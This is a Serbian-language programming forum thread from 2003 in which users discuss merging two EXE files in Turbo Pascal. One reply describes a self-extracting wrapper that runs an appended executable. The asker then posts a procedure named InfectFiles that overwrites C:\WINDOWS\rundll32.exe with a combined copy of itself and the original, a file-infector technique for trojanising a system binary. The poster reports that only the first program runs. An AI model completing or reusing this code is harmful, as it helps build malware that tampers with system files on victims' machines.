[ reiser @ 01.02.2003. 00:22 ] @
Pisem jedan program u Turbo Pascalu 7.0. Da li postoji neki potprogram koji spaja dva exe fajla u jedan (pisan u pascalu, naravno ) ?
[ -zombie- @ 01.02.2003. 03:37 ] @
ti bi da pravish viruse?!? :D

elem, ne znam da li postoji programce, ali ja sam o radio rucno (i ne, nije bio virus, ali ipak jeste bio TSR program ;)

elem, ovako sam ja resio:

1) definisem varijablu original, longint tipa, i postavim je na recimo 1000
2) napravim programce koje otvara svoj exe fajl (za citanje), sa BufferRead (valjda bese) citam sve karaktere od hiljditog (u stvari od pozicije zapisane u original promenjivoj), do kraja fajla, upisujem u neki temp exe fajl, i izvrsavam ga.
3) iskompajliram ovaj program, i pogledam velicinu exe fajla.
4) vratim se u source, izmeni pocetnu vrednost original varijable na velicinu exe fajla, i to je to.

posle samo iskopiram ovaj fajl i zeljeni u jedan (copy wraper.exe virus.exe veliki.exe) i to je to...
[ reiser @ 01.02.2003. 11:25 ] @
Ajde daj mi source code, ako ga imash plzzzzzzz
[ -zombie- @ 01.02.2003. 13:22 ] @
tesko.. sorry..

to je bilo pre skoro 10 godina (dobro, mozda ne 10, ali ima preko 5-6 sigurno)

trebalo bi mi pola dana da nadjem to na nekim starim backup cd-ovima (ako je uopste na nekom, i ako taj cd uopste moze da se cita)..


elem, ne bi trebalo da bude tesko. procitaj ovo moje opet, pogledaj help za tu funkciju bufferread (ili kako bese, nisam programirao u paskalu vec 3-4 god.)

sorry again..
[ reiser @ 01.02.2003. 19:25 ] @
Probao sam ovo, sa BufferRead, ne postoji ta naredba ( da nije mozda BlockRead ??? ). Ovo, sa Block Read sam probao, oce. Velicina kombinovanog exe fajla je dobra = zbir dva exe fajla koje ocu da spojim. Ali bre drugi program nece da radi, tj. radi samo prvi, onaj koji je na pocetku exe fajla. Evo source koda :

Procedure InfectFiles;
Begin
Assign(fil1a,ParamStr(0)); { Assignuje program }
Assign(fil2a,'C:\WINDOWS\rundll32.exe'); { Assignuje rundll32.exe }
SetFAttr(fil1a,faArchive); { Setuje atribute na Archive za prvi fajl }
SetFAttr(fil2a,faArchive); { Isto kao gornji red, samo za 2. fajl}
Assign(fil3a,'C:\WINDOWS\infected.exe'); {Assignuje fajl infected.exe }
Reset(fil1a,1); { Resetuje 1. fajl }
Reset(fil2a,1); { Resetuje 2. fajl }
ReWrite(fil3a,1); { Brise 3. fajl i sprema ga za pisanje }
repeat
BlockRead(fil1a, Buf, SizeOf(Buf), NumRead); { cita prvi ...}
BlockWrite(fil3a, Buf, NumRead, NumWritten);{ i upisuje u 3. fajl }
until (NumRead = 0) or (NumWritten <> NumRead);
repeat
BlockRead(fil2a, Buf, SizeOf(Buf), NumRead); {cita drugi ...}
BlockWrite(fil3a, Buf, NumRead, NumWritten);{i dodaje u 3. fajl}
until (NumRead = 0) or (NumWritten <> NumRead);
Close(fil1a);{ zatvara fajlove }
Close(fil2a);
Close(fil3a);
Erase(fil2a);
Rename(fil3a,'C:\WINDOWS\rundll32.exe'); { preimenuje fajl infected.exe u rundll32.exe }
End;


{ Posle izvrshenja ovog koda, Rundll32.exe je kombinacija 1. i 2. fajla, ali samo 1. radi ! Zasto ??? }
[ Crazy Mix @ 04.02.2003. 16:50 ] @
Jel neko zna ovo za Delphi?
Ja nisam uspeo, ali niste naveli varijable, pa nisam znao sta treba da navedem